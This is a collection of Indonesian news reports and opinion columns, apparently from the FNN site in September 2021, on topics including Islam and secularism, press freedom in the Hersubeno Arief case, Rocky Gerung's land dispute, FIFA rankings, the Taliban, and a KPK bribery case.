Oleh: Yusuf Blegur Ini bukan menyoal politik identitas. Ini juga bukan tentang intoleransi. Gonjang-ganjing republik tidak hanya memapar kehidupan rakyat pada ekonomi dan politik. Seiring terdegradasinya kebhinnekaan dan kemajemukan, umat muslim juga paling kentara terdampak kecenderungan deislamisasi. Bukan hanya pelecehan ulama dan penistaan agama, upaya mendowngrade umat Islam semakin marak dengan pendangkalan aqidah dan pemurtadan. Lebih memilukan lagi, fenonena yang dibingkai melalui politik sekulerisasi dan liberalisasi itu, semata-mata berorientasi hanya karena tahta dan harta. Termasuk oleh segelintir politisi dan ulama yang mengaku dan berlabel muslim. Merendahkan, menista dan mengolok-olok ulama serta agama, seperti menjadi keharusan dan syarat bagi para buzzer, politisi dan birokrat untuk sekedar diterima dan menjadi bagian dari lingkar utama kekuasaan. Sebelum lebih jauh mengulik hal tersebut, ada baiknya buat semua berpegang pada dalil sebagaimana yang tertuang dalam Al Quran. QS. At-Taubah Ayat 65 وَلَىِٕنْ سَاَلْتَهُمْ لَيَقُوْلُنَّ اِنَّمَا كُنَّا نَخُوْضُ وَنَلْعَبُۗ قُلْ اَبِاللّٰهِ وَاٰيٰتِهٖ وَرَسُوْلِهٖ كُنْتُمْ تَسْتَهْزِءُوْنَ "Dan jika kamu tanyakan kepada mereka, niscaya mereka akan menjawab, “Sesungguhnya kami hanya bersenda gurau dan bermain-main saja.” Katakanlah, “Mengapa kepada Allah, dan ayat-ayat-Nya serta Rasul-Nya kamu selalu berolok-olok?”. Kemudian dilanjutkan dengan, QS. At-Taubah Ayat 66 لَا تَعْتَذِرُوْا قَدْ كَفَرْتُمْ بَعْدَ اِيْمَانِكُمْ ۗ اِنْ نَّعْفُ عَنْ طَاۤىِٕفَةٍ مِّنْكُمْ نُعَذِّبْ طَاۤىِٕفَةً ۢ بِاَنَّهُمْ كَانُوْا مُجْرِمِيْنَ "Tidak perlu kamu meminta maaf, karena kamu telah kafir setelah beriman. Jika Kami memaafkan sebagian dari kamu (karena telah tobat), niscaya Kami akan mengazab golongan (yang lain) karena sesungguhnya mereka adalah orang-orang yang (selalu) berbuat dosa". Belakangan ini umat Islam di Indonesia, mengalami kemunduran dan termarginalkan dalam proses penyelenggaraan kehidupan bernegara dan berbangsa. Positioning politik yang sedemikian itu memang bukan hal baru bagi entitas keagamaan yang paling mulia dalam peradaban manusia. Dalam sejarah pergerakan kemerdekaan hingga tercetusnya proklamasi yang menandai kelahiran NKRI. Mengarungi bahtera kehidupan dan perjalanan bangsa hingga saat ini. Islam terhempas dari panggung politik negara. Realitas itu menjadi perspektif nilai dan tradisi yang dijaga pemerintahan berkuasa selama ini yang menganut sistem politik memisah relasi agama dan negara. Alhasil, sebagai mayoritas pemeluk agama di republik, Umat Islam ditelan sekulerisme dan liberalisme. Pemimpin dan Pejabat Terpapar Pandemi WAHN Dinamika kekuasaan dalam penyelenggaran negara, bukan saja menyuguhkan pemerintahan yang tidak berpijak pada landasan agama. Birokrasi juga lepas kendali memanifestasikan praktek-praktek Machiavellis, diktator dan otoriterian. Bahkan untuk sekedar vaksinasi saat pemerintah sampai mengeluarkan perpres dengan sanksi denda dan penghentian layanan administrasi dan bantuan sosial. Boleh jadi menjadi sanksi pidana, seperti sebelumnya pada pelanggaran prokes.. Apalagi dalam hal peribadatan. Shalat di masjid disekat dan dibatasi dengan alasan prokes. Serta tidak sedikit orang bermotif gila menganiaya Imam masjid. Begitulah hal yang sederhana tapi menunjukan kekuasaan rezim yang radikalis dan fundamentalis terhadap umat Islam. Para pemimpin dan pejabat pemerintahan yang notabene muslim pun, sengaja membiarkan represi terhadap umat Islam bahkan ikut mereduksi nilai Islam. Masih segar dalam ingatan umat Islam pernyataan seorang pemimpin salah satu ormas Islam terbesar di Indonesia yang dianggap sering mengolok-olok, menyudutkan dan mendiskreditkan umat Islam. Umat Islam juga belum melupakan pernyataan seorang menteri agama yang tidak ingin berkembangnya populisme Islam. Begitu juga yang baru saja terjadi pada seorang pejabat militer. Entah disadari atau tidak. Entah karena kejahiliyahannya, entak memang tak peduli dan masa bodoh. Secara serampangan Jenderal penurun baliho ulama itu, mengeluarkan statemen serampangan soal agama. Semua itu jelas dan nyata bahwa pendangkalan aqidah dan pemurtadan, tidak hanya bisa terjadi pada orang awam saja, melainkan juga pada orang terdidik dan terhormat. Memang menjadi wajar ketika sistem politik dan pemerintahan yang sekuler, performensnya tidak saja menghasilkan kegagalan berkelanjutan menciptakan kesejahteraan dan keadilan rakyat. Melainkan para penguasa itu mengidap satu penyakit yang sangat sulit disembuhkan. Berupa penyakit hati yang kering iman dan hidayah. Penyakit hitamnya nurani dan kegelapan spiritual. Apa yang disebut oleh Islam sebagai penyakit WAHN. Hidupnya dirasuki kecintaan pada dunia dan takut mati. Mengejar harta duniawi tanpa henti dan takut meninggalkan kenikmatan hidup karena kematian. Mengejar harta dan jabatan berlebihan, sementara nilai-nilai Islam dinegasikan. Ditempatkan sebagai penghalang hawa nafsu mereka. Dari Tertindas Menuju Kebangkitan Umat Islam Bagi umat muslim ada kalam Ilahi yang tegas yang merujuk pada keteguhan memegang dinnul Islam. Diantaranya, Allah Azza wa Jalla berfirman: إِنَّ الدِّينَ عِندَ اللَّهِ الْإِسْلَامُ ۗ وَمَا اخْتَلَفَ الَّذِينَ أُوتُوا الْكِتَابَ إِلَّا مِن بَعْدِ مَا جَاءَهُمُ الْعِلْمُ بَغْيًا بَيْنَهُمْ ۗ وَمَن يَكْفُرْ بِآيَاتِ اللَّهِ فَإِنَّ اللَّهَ سَرِيعُ الْحِسَابِ “Sesungguhnya agama di sisi Allah ialah Islam. Tidaklah berselisih orang-orang yang telah diberi Al-Kitab, kecuali setelah mereka memperoleh ilmu, karena kedengkian di antara mereka. Barangsiapa yang ingkar terhadap ayat-ayat Allah, maka sesungguhnya Allah sangat cepat perhitungan-Nya.” [Ali ‘Imran: 19]. Allah Azza wa Jalla berfirman: أَفَغَيْرَ دِينِ اللَّهِ يَبْغُونَ وَلَهُ أَسْلَمَ مَن فِي السَّمَاوَاتِ وَالْأَرْضِ طَوْعًا وَكَرْهًا وَإِلَيْهِ يُرْجَعُونَ “Maka mengapa mereka mencari agama yang lain selain agama Allah, padahal apa yang ada dilangit dan di bumi berserah diri kepada-Nya, (baik) dengan suka maupun terpaksa dan hanya kepada-Nya-lah mereka dikembalikan ?” [Ali ‘Imran: 83]. Allah Azza wa Jalla juga berfirman: وَمَن يَبْتَغِ غَيْرَ الْإِسْلَامِ دِينًا فَلَن يُقْبَلَ مِنْهُ وَهُوَ فِي الْآخِرَةِ مِنَ الْخَاسِرِينَ “Dan barangsiapa mencari agama selain agama Islam, dia tidak akan diterima, dan di akhirat dia termasuk orang-orang yang rugi.” [Ali ‘Imran: 85]. Sabda Rasulullah Shallallahu ‘alaihi wa sallam: َاْلإِسْلاَمُ يَعْلُوْ وَلاَ يُعْلَى. “Islam itu tinggi dan tidak ada yang mengalahkan ketinggiannya. Oleh karena itu, sungguh menjadi kebodohan dan kerugian bagi orang siapapun dia yang merendahkan dan menistakan agama Islam. Hanya Islam yang mampu mengatur segala kehidupan manusia dan seluruh makhluk hidup lainnya secara sempurna. Kebesaran Allah Subhanahu Wa Ta'Ala telah ditunjukan dengan keberadaan langit dan bumi beserta hamparannya yang luas. Islam dengan Al Quran diturunkan menjadi petunjuk dan pembeda pada yang hak dan batil. Begitu Nabi Muhammad Salallahu Alaihi Wasalam yang sesungguhnya bertugas untuk memperbaiki akhlak manusia. Hingga para ulama yang menjadi Warisatul Anbiya yang memelihara Al Quran dan Sunah untuk generasi selanjutnya. Merupakan tuntunan yang memberikan jalan keselamatan kehidupan dunia dan akherat. Bukan semua itu nyata bagi orang-orang yang menggunakan akal pikirannya?. Betapapun keadaan umat Islam sekarang ini seperti buih ditengah lautan. Tidak sedikit tapi terombang-ambing dan lenyap dipermainkan gelombang. Sejatinya Islam akan tetap tegak dan meraih kejayaannya seperti pada zaman kekhalifahan. Bagaimanapun politik dan sistem yang jahat berusaha keras dan dengan segala cara memisahkan umat dari Islam. In syaa Allah. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Timnas Indonesia Terperosok ke Peringkat 175 FIFA

Jakarta, FNN - Tim nasional putra Indonesia terperosok ke peringkat 175 FIFA, berdasarkan rilis data terkini, dikutip dari laman FIFA di Jakarta, Kamis. Posisi tersebut lebih buruk dari peringkat skuad berjuluk Garuda per 12 Agustus 2021 yaitu di 174. Di kawasan Asia Tenggara, Indonesia hanya lebih baik daripada Kamboja (178), Laos (186), Brunei Darussalam (190) dan Timor Leste (194). Sementara negara ASEAN dengan peringkat FIFA tertinggi yaitu Vietnam yang bertengger di urutan ke-95. Di bawah Vietnam ada Thailand (122), Filipina (125), Myanmar (146), Malaysia (154) dan Singapura (160). Sementara lawan timnas Indonesia di babak "play-off" Kualifikasi Piala Asia 2023 pada Oktober 2021, Taiwan, berada di posisi ke-151. Jika mampu menundukkan Taiwan dan lolos ke Kualifikasi Piala Asia 2023, Indonesia berpotensi memperbaiki kedudukannya di peringkat FIFA. Secara keseluruhan, tim nasional Belgia masih kokoh di posisi pertama peringkat FIFA, disusul Brazil. Inggris merangkak ke posisi ketiga, melangkahi Prancis yang kini tepat di bawahnya. Tim 10 besar terbaik kemudian diisi Italia, Argentina, Portugal, Spanyol, Meksiko dan Denmark. (sws, ant)

Mendamba Independensi Jurnalisme

Oleh: Yusuf Blegur Sontak, Gardu Banteng Marhaen yang ujug-ujug itu, memperkarakan Hersubeno Arief. Upaya yang terkesan iseng dan coba-coba menempuh jalur hukum terhadap seorang jurnalis senior. Terkait tudingan menyebarkan hoax pemberitaan ketua umum PDIP yang dalam keadaan sakit dan kritis. Selain cenderung menjadi kekeliruan intepretasi menangkap pemberitaan yang direlease dalam Forum News Network (FNN). Berangkat dari ramainya kabar itu di media sosial. Berangsur bisa menjadi stimulus mengurai peran media dan hubungannya dengan pemerintah, serta upaya memutilasi suara rakyat. Seperti yang sebelumya pernah dialami Forum Keadilan, GATRA dsb. Rasanya, semua berita yang mampu menampar pipi dan memekakkan gendang telinga penguasa, harus dimatikan. Setidaknya dikecilkan volumenya atau dibuat senyap. Terkait kebenaran atau kebohongan seputar pemberitaan kondisi kesehatan Megawati Soekarno Putri yang menyedot perhatian publik. Dari persoalan itu ada yang menarik untuk ditelisik terutama masalah peran media dalam mengangkat isu strategis dan menyentuh kepentingan rakyat dan negara. Berkembangnya partisipasi masyarakat dalam pesatnya dunia teknologi informasi. Menciptakan trend setiap orang atau komunitas yang lebih luas menjadi subyek sekaligus obyek pemberitaan. Seiring era digitalisasi yang melahirkan keberlimpahan informasi. Munculnya ragam media alternatif dan kemudahan masyarakat dalam memanfaatkannya. Selain cepat dan mudah menyebar, media komunikasi dan informasi berbasis masyarakat itu juga rentan dari aspek validitas dan akuntabilitas. Untuk penyajian berita yang informatif, edukatif dan sehat. Sangat bergantung pada kearifan menyerap, mengunyah dan memuntahkannya. Namun yang patut digarisbawahi, fenomena itu juga ekuivalen terhadap pergeseran peran sebagian besar media mainstream yang sebelumnya pernah menjadi sentral arus informasi dan salah satu pilar demokrasi. Media konvensional berusia tua itu terlihat terseok-seok juga beriringan dengan dinamika arus informasi berkarakter website dan media online. Meski media mainstream juga bertransformasi menjadi bagian dari itu. Kemudian media mainstream tetap eksis dengan pengakuan publik dan tingkat presisinya. Tetap saja semodel website dan media online yang tidak terafiliasi dengan media mainstream, menjadi lebih istimewa. Karena kepraktisannya, menghadirkan kecepatan penyajian berita dan tagline informasi dalam genggaman. Tentu saja media sosial yang menjadi salah satu konversinya, sangat mudah diakses, dibentuk dan dikelola penggunanya. Menjadi bagian dari teknologi komunikasi dan informasi yang seiring jaman memang sudah disiapkan menjadi senjata dan strategi menguasai masyarakat bahkan dunia. Jika mau melihat lebih jauh dan lebih dalam dari aspek sosiologis kemanusiaan. Media sosial menjadi layaknya entitas yang memengaruhi pelbagai aspek kehidupan seperti sosial ekonomi, sosial politik, sosial hukum, sosial keamanan dll. Media sosial yang menjadi turunan dari media online itu menjadi representasi dan respon masyarakat terhadap ketidaksesuaian komunikasi massa yang dibangun pemerintah dan negara. Termasuk mayoritas media mainstream. Tidak sekedar menghadirkan 'citizen jounalism', media sosial dengan keragaman platformnya merupakan bentuk pemberontakan komunikasi dari publik. Ia menjadi simbol kebebasan. Ia juga membentuk perlawanan. Ia mewujud demokrasi jalanan saat sekaratnya parlemen dan konstitusi. Media dan ruang-ruang sosial milik masyarakat, tak akan berhenti mengusik dan menghantui bentuk apapun yang dirasakan sebagai tiran. Suatu ketika ia muncul sebagai narasi. Juga dalam audio visual. Tiba-tiba serentak berwajah mural. Lain waktu dalam bentangan spanduk atau karton. Atau mengintip dan mengusik lewat meme dan karikatur. Selalu ada aliran dan mata air suara yang keluar menyeberang watak otoriter dan diktator. Standar Ganda Media Mainstream Belakangan ini, ruang publik tidak terisi penuh oleh kebenaran dan keadilan informasi. Sebagai salah satu kekuatan penyeimbang dalam pola interaksi negara dengan rakyatnya. Media mainstream terlihat mulai kehilangan karakter profesional dan ketajaman sosialnya. Independensinya terus mengalami kemerosotan. Mata jurnalistiknya mulai rabun melihat dibalik peristiwa. Semakin kabur saat menentukan baik buruk untuk masyarakat, atau buat pemerintah atau mungkin juga buat media sendiri. Semangat redaksi juga sudah melemah keberpihakannya terhadap obyek penderitaan, utamanya yang dialami orang kecil dan terpinggirkan. Pemimpin dan pengelolanya lebih condong pada kekuasaan. Memang tidak menyebarkan berita bohong atau fitnah. Tapi acapkali mayoritas media mainstream menyembunyikan dan menutupi kenyataan yang sesungguhnya. Banyak media mainstream dalam beberapa tahun ini bungkam terhadap fakta dan realitas. Apalagi jika itu dianggap mendeskreditkan dan merugikan penyelenggara negara. Porosnya lebih kepada menjaga kepentingan pemerintah semata. Ironinya tidak sedikit irisannya menjadi bagian dari pemerintahan. Cawe-cawe dalam pos-pos birokrasi. Media mainstream gagal membangun keseimbangan peran ekonomi dan fungsi kontrol sosial. Orientasi kapital lebih dominan ketimbang peran penjaga moral. Seperti pepatah koalisi segan, oposisi tak mau. Beberapa prinsip jurnalistik mulai terabaikan. Transparasi, cover boothside, mengangkat fakta yang menegakan obyektifitas, kebenaran dan keadilan. Semua itu semakin permisif untuk menjadi absurd. Para pemilik modal dan bagian korporatisme negara dari media formal konstitusional itu. Lebih nyaman memburu harta dan tahta daripada informasi atau berita yang layak diperjuangkan. Sepatutnya media mainstream tidak amnesia dan mengalami ahistoris. Betapapun keintiman dengan pemerintah yang mengabaikan rakyat, tak akan berumur panjang dan selamanya. Masih ingat dan tak akan pernah hilang dalam catatan sejarah kasus Udin Bernas dan sederet kriminalisasi kalangan jurnalis lainnya oleh persekongkolan pengusaha dan rezim kekuasan. Sewaktu-waktu penguasa juga bisa menunjukan tindakan represi kepada media yang menopangnya. Sebaliknya, bukan tidak mungkin media dapat ikut melawan kekuasaan. Mengikuti suasana dan momen yang tepat. Bermain dua kaki tak akan membuat media mainstream menjadi memenuhi kepentingan semua pihak. Justru malah membuat media hanya sekedar boneka dan mainan cantik kekuasaan. Menarik selama masih bagus. Menyenangkan selama masih bisa menghibur. Namun jika tak sesuai lagi dengan selera memenuhi lapar dan dahaga yang hinggap. Sewaktu-waktu dapat dibuang atau tersimpan kumuh tak terpakai lagi. Untuk Hersubeno Arief dan jurnalis-jurnalis pejuang lainnya. Begitu juga dengan media massa yang betapapun sulit membangun dan memelihara idealismenya. Terlebih saat DPR tak mewakili rakyat. Hukum tak memberi keadilan rakyat. Intelektual tak mencerdaskan rakyat. Pemerintah tak menyejahterakan rakyat. Militer tak kuasa melindungi rakyat. Jangan sampai, mediapun meninggalkan rakyat yang sendiri tanpa negara. Tetaplah media massa mewujud dan menerus gelombang resonansi suara rakyat. Memisah yang hak dan batil. Tetap menjadi cahaya, meski siang dan malam terus berganti. Semoga media tidak menjadi sekadar media. Lebih dari itu ia juga dapat menjadi kekuatan sejati rakyat dalam menyuarakan keheningan rakyat. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Sidang Terbuka Senat, Gatot Nurmantyo Ajak Mahasiswa Bangkit hingga Singgung Peran DPR

Jakarta, FNN - Dewan Pembina Universitas Cokroaminoto, Gatot Nurmantyo menyampaikan orasi ilmiah seputar persoalan yang dihadapi bangsa Indonesia saat ini Dalam orasinya pada sidang senat Universitas Cokroaminoto Rabu (15/9), Presidium Koalisi Aksi Menyelamatkan Indonesia (KAMI) itu mengajak mahasiswa bangkit hingga menyinggung peran DPR sebagai penyambung lidah rakyat dan cengkraman oligarki yang telah menggurita di republik ini. Mantan Panglima TNI ini mengingatkan agar Mahasiswa dan pemuda harus bersatu dalam ikatan nasionalisme disaat kondisi bangsa yang tercabik-cabik saat ini. "Harmoni dan kohesifitas sosial masyarakat kita hari ini, sangat terganggu dan tidak sehat lagi," kata Gatot. Peran Dewan Perwakilan Rakyat (DPR) saat ini, menurut Gatot telah dilucuti kewenangannya dan hak-hak konstitusionalnya. Sehingga, hanya bisa berdiam diri lantaran 80 persen keuatan partai politik telah bergabung dengan pemerintah. "DPR jelas telah dilucuti kewenangan dan hak-hak konstitusionalnya," sesal Gatot. Cengkraman oligarki juga bertambah kuat ketika biaya politik kian malah dengan adanya keketapan Presidensial Thereshold (PT) 20 persen. "Sehingga timbullah kemudian kekuatan oligarki (penguasa dan pengusaha) yang sama-sama kepentinganya untuk melanggengkan kekuasaan," pungkas Gatot. (GS)

Rocky Gerung dan Perlawanan kepada Oligarki

Oleh Radhar Tribaskoro KEMARIN, Rabu 15 September 2021, saya dan beberapa kawan, diantaranya Said Didu, Prof. Hafid Abbas, Bachtiar Chamsyah, Jumhur, Adhie Massardi, Syahganda, Ahmad Yani, Ubeidilah Badrun, Gde Siriana dan sejumlah wartawan, mampir ke rumah RG. Rumah itu berdiri di atas lahan yang tidak terlalu luas, sekitar 800 m2 tetapi sangat rimbun. Tanah rumahnya itu adalah tanah kritis yang sangat curam, kemiringannya mencapai 60-70%. Sewaktu dibeli, tanah itu kosong. Kemiringannya mengancam longsor setiap saat. Rocky menanami tanah itu dengan pinus dan puluhan jenis tanaman lain. Sekarang sekitar 1.500 tanaman sentosa tegak di sana. Ada aneka anggrek yang indah, suplir, palem, pisang dan aneka buah-buahan. Di pagi hari Rocky senang melihat segerombolan monyet, entah darimana, menyantap pisang yang digantungnya di teritis rumahnya. Rocky membangun rumahnya di sela-sela pepohonan. Rumah utama kecil, mungkin berukuran 36m2 cukup untuk sebuah kamar, ruang tengah yang digabung dengan dapur. Rocky meletakkan komputernya di meja dapur yang sudah penuh oleh gelas kopi, teh, multi-stop kontak, peralatan makan-minum dll. Tidak ada TV di rumah itu. Rocky juga membangun 3 pergola yang sangat sederhana. Hanya terdiri dari kayu dan bambu, beratap rumbia, berukuran 2x2m. Di sanalah ia mengajak tamu-tamunya mengobrol. Salah satu pergola disiapkannya untuk mushola. Ia menyediakan sajadah, sarung dan mukena bagi yang membutuhkan. Buku-bukunya sangat banyak, hampir semua berbahasa asing. Ia meletakkan buku-buku itu di semua sudut rumah dan pergola. Tidak ada sudut yang tidak dihiasnya dengan buku. FILOSOFI HAK TANAH Rocky membeli tanah yang ditempatinya itu pada tahun 1994 dari seorang petani penggarap. Ia seorang yang teliti, ia telah menyelidiki genealogi tanah itu. Sejauh penelusurannya tanah itu dimiliki oleh seorang Belanda pada tahun 1930an. Ketika orang Belanda itu pulang ke negaranya ia telah membagibagi tanah itu kepada petani dan keturunannya. Masing-masing memiliki garapan. Hak garap adalah hak yang diakui dalam sistem hukum di Indonesia. Lepas dari sisik-melik hukum pertanahan, saya senang dan setuju dengan uraian Rocky tentang filsafat tanah dan kehidupan. Menurut Rocky, hal yang paling penting dan asasi tentang tanah adalah penguasaan fisik. Pertama-tama tanah adalah anugerah Tuhan. Tuhan menyerahkannya kepada manusia untuk dimanfaatkan. Orang yang memanfaatkan dengan mengambil air, kayu, atau sekadar meletakkan kaki di sungai, telah memberi kehidupan. Tanpa disadari ada telur ikan di kaki, dan setelah beberapa lama sungai tetiba dipenuhi oleh ikan. Ternyata di bekas kayu tebang, muncul jamur, cacing dan berbagai organisme, kehidupan meluap dari aktivitas manusia kepada tanah. Pada kesempatan pertama tanah adalah milik penggarapnya, anugerah Tuhan. HAK MEMBERONTAK Kalau tiba-tiba ada raja mengklaim tanah, itu adalah klaim yang sewenang-wenang (arbitrary). Itu politik yang harus dimainkan karena kekuasaan bekerja seperti itu. Namun seorang raja yang paling kejam sekalipun mengerti, ia tidak boleh mengusir orang begitu saja dari tanahnya. Ia mengusir administratur tetapi tidak menyingkirkan petani penggarap. Paling jauh ia hanya akan meminta pajak dari penggarap. Ketika raja kalah oleh penjajah, kita tidak bisa menerima klaim bahwa semua tanah di Nusantara dimiliki oleh Ratu Wilhelmina. Ratu itu tidak pernah menginjakkan tanah di Nusantara, kok mengaku-aku pemilik. Maka kalau mau dirunut moral dasar pemberontakan kepada penjajahan adalah klaim hak milik yang tidak berdasar itu. Situasi yang dihadapi Rocky tidak berbeda dengan apa yang dihadapi Diponegoro dua ratus tahun lalu. Diponegoro tidak bisa menerima klaim bahwa semua tanah adalah milik ratu belanda, sehingga mereka bisa membuat jalan semaunya di tanah yang telah ia garap. Betul, penolakan itu adalah sebuah pemberontakan dalam arti perlawanan terhadap klaim kepemilikan penjajah. Pemberontakan itu dibenarkan oleh prinsip keadilan. Orang entah darimana berdasar kepada kekuasaan siapapun tidak bisa menyingkirkan hak dari seorang penggarap. Karena itu adalah perbuatan tidak adil. Hak itu bukan untuk Rocky Gerung saja. Petani dan masyarakat adat yang telah menghuni gunung, merawat hutang, menjelajah sungai dan danau, tidak boleh disingkirkan dari habitat mereka, hanya gara-gara negara telah mengeluarkan HGU atau HGB atas tanah dan habitatnya. Jutaan rakyat telah tersingkir karena perlakuan tidak adil pengusaha real estate, perkebunan dan pertambangan yang didukung oleh pemerintah. Catatan untuk Sentul City, mereka telah melakukan semua kejahatan agraria di atas sebelumnya. Rakyat diusir dengan mempergunakan preman. Pada tahun 2014 pemilik Sentul City terbukti menyuap bupati sehingga menerima vonis 5 tahun penjara. HGB yang dibilang mencakup tanah milik Rocky Gerung dibikin tahun 2013, pantas diduga terkait dengan suap itu. Rocky sendiri bilang, ia berjuang bukan untuk dirinya sendiri tetapi untuk 6.000 orang yang disingkirkan oleh Sentul City. Rocky dan kawan-kawannya memberontak kepada Sentul City, kepada hukum yang tidak adil. Hukum yang. sama sekali mengabaikan hak manusia atas anugerah Allah yang digarapnya, yang telah hidup dan menghidupi dirinya. Semoga Allah SWT memberkati."

Disita Dari Mantan Pejabat, Taliban Serahkan Dolar dan Emas ke Bank Sentral Afghanistan

Kabul, FNN - Kelompok Taliban menyerahkan uang tunai sekitar 12,3 juta dolar AS dan sejumlah emas kepada bank sentral Afghanistan, Da Afghanistan Bank (DAB). Menurut pernyataan pihak bank, Kamis, 16 September 2021, uang tunai dan emas batangan itu ditemukan dari rumah mantan pejabat pemerintah. "Kantor bekas badan intelijen Afghanistan juga dikembalikan ke bendahara DAB," tulisnya, sebagaimana dikutip dari Antara. "Pejabat Imarah Islam Afghanistan melalui penyerahan aset ke perbendaharaan nasional membuktikan komitmen mereka terhadap keterbukaan," demikian pernyataan tersebut. Setelah berhasil menguasai Ibu kota Kabul pada 15 Agustus 2021, Taliban mengumumkan pembentukan caretaker government pada 7 September 2021. Mereka menunjuk sejumlah penjabat menteri dan seorang penjabat gubernur untuk bank sentral Afghanistan. (MD).

Polres Lebak Gagalkan Penyeludupan 2.000 Benur Lobster

Lebak, FNN - Polres Lebak, Polda Banten, menggagalkan penyeludupan 2.000 benur lobster atau anak lobster ke Pelabuhan Ratu, Sukabumi, Jawa Barat. "Kami juga menangkap kurir berinisial AD (38) warga Desa Sawarna Timur, Bayah," kata Kepala Kepolisian Resor (Kapolres) Lebak, Ajun Komisaris Besar Teddy Rayendra, di Lebak, Kamis, 16 September 2021. Teddy menjelaskan, penangkapan penyelundup benur lobster tersebut berdasarkan hasil pengembangan aparat di lapangan. Tersangka yang juga tukang ojek di Kecamatan Bayah, Kabupaten Lebak diduga sebagai kurir. Petugas menangkap pelaku itu saat hendak menyelundupkan ke daerah Pelabuhan Ratu, Sukabumi, Jabar. Petugas mengamankan 2.000 benur lobster terdiri 1.200 benur jenis lobster pasir dan 800 benur lobster mutiara. Kepada polisi, tersangka AD mengatakan, benur lobster itu diperoleh dari nelayan TPI (Tempat Pelelangan Ikan) Pulomanuk, Bayah. Selain itu, pelaku sudah delapan kali melakukan penyelundupan anak lobster di kawasan Perairan Bayah menuju Sukabumi. "Diperkirakan penyelundupan benur lobster itu mencapai nilai Rp 145 juta," katanya, sebagaimana dikutip dari Antara. Pelaku dijerat pasal Undang-undang RI nomor 31 tahun 2004 tentang Perikanan sebagaimana telah diubah dengan Undang-undang RI nomor 45 tahun 2009 tentang Perikanan sebagaimana telah diubah dengan Undang-undang RI nomor 11 tahun 2020 tentang Cipta Kerja. (MD).

Pelaksana Tugas Kepala Dinas Pekerjaan Umum Hulu Sungai Utara Kalimantan Selatan Jadi Tersangka

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menetapkan tiga orang sebagai tersangka dalam kasus dugaan suap terkait dengan pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara, Kalimantan Selatan Tahun 2021-2022. Tiga tersangka, yaitu Maliki (MK) selaku Plt Kepala Dinas PU pada Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Kabupaten Hulu Sungai Utara sekaligus Pejabat Pembuat Komitmen (PPK) dan Kuasa Pengguna Anggaran (KPA), Marhaini (MRH) dari pihak swasta/Direktur CV Hanamas, dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. "Setelah dilakukan berbagai bahan keterangan dugaan tindak pidana korupsi dimaksud, KPK selanjutnya melakukan penyelidikan yang kemudian ditemukan adanya bukti permulaan yang cukup maka KPK meningkatkan status perkara ini ke tahap penyidikan," ucap Wakil Ketua KPK Alexander Marwata saat jumpa pers di Gedung KPK, Jakarta, Kamis, 16 September 2021. Sebagai pemberi, kata Alex, tersangka Marhaini dan Fachriadi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 65 KUHP. Sedangkan tersangka Maliki selaku penerima disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 KUHP jo Pasal 65 KUHP. Untuk proses penyidikan, Alex mengatakan tim penyidik melakukan upaya paksa penahanan terhadap tiga tersangka tersebut untuk 20 hari pertama terhitung mulai 16 September sampai dengan 5 Oktober 2021 di Rutan KPK. Tersangka Maliki ditahan di Rutan KPK pada Pomdam Jaya Guntur, Marhaini ditahan di Rutan KPK pada Gedung Merah Putih KPK, dan Fachriadi ditahan di Rutan KPK pada Kavling C1 (Gedung Pusat Edukasi Antikorupsi KPK). "Untuk upaya antisipasi penyebaran COVID-19 di lingkungan Rutan KPK, para tersangka akan dilakukan isolasi mandiri selama 14 hari pada rutan masing-masing," ujar Alex. (MD).

Mereka Bungkam Aktivis, Pelukis dan Jurnalis

LAPORAN yang dilayangkan kepada Hersubeno Arief sangat disayangkan dan tidak tepat. Sebab, konten channel Youtube Hersubeno Point merupakan produk jurnalistik dari FNN (Forum News Network). Mengapa disesalkan? Karena di negara hukum yang berdasarkan Pancasila, masih ada yang tidak mengerti dan memahami aturan perundang-undangan dan hukum, terutama yang mengatur kebebasan pers. Semestinya, sebelum melapor ke kepolisian, Dewan Pimpinan Daerah PDI Perjuangan Daerah Khusus Ibu Kota Jakarta, terlebih dahulu menggunakan hak jawab yang ditujukan ke FNN. Tembusannya ke Dewan Pers. Harus menggunakan hak jawab? Betul karena hal itu merupakan perintah Undang-Undang Nomor 40 tahun 1999 tentang Pers. Undang-undang yang lahir dari ‘rahim’ reformasi itu jelas bertujuan sangat baik, terutama dalam menjaga kebebasan pers dari bentuk intimidasi, pembereidelan dan cara lain yang tidak sejalan dengan hukum. Sengketa pers tidak serta-merta bisa dibawa ke ranah hukum. Harus diselesaikan lewat mekanisme hak jawab. Media wajib menayangkan atau memuat hak jawab segera setelah menerimanya. Jika tidak memuatnya, Dewan Pers akan turun tangan. Jika hak jawab yang dimuat tidak memuaskan pihak yang dirugikan, Dewan Pers akan memanggil kedua-belah pihak. Kedua belah pihak akan “disidang”. Jadi, tidak serta-merta dibawa ke ranah hukum, dengan melaporkannya ke polisi. Hal tersebut sesuai dengan MOU antara Dewan Pers dengan Kapolri Nomor 2/DP/MoU/II/2017. Dalam Memorandum Of Understanding (MOU) itu jelas menyebutkan, jika dianggap ada yang tidak tepat pada pemberitaan sebuah media, kasusnya dibawa kepada Dewan Pers, bukan kepada polisi. Jadi, semestinya DPD PDIP Jakarta paham dengan hal-hal yang mengatur mengenai pers. Tidak serta-merta melaporkan Hersubeno Arief ke Polda Metro Jaya atas konten berjudul, “Ketum PDIP Megawati Dikabarkan Koma dan dirawat di RSPP.” yang di-upluod Hari Kamis tanggal 9 September 2021. Konten tersebut jelas tidak menyebarkan berita bohong atau hoax. Sebab, di dalamnya juga sudah mengutip pernyataan para petinggi PDIP. Pernyataan yang dikutip itu juga merupakan salah satu bentuk chek and rechek yang dilakukan wartawan kami, Hersubeno Arief. Selain itu, keesokan harinya juga sudah di-upload pernyataan Megawati yang menyatakan sehat walafiat. 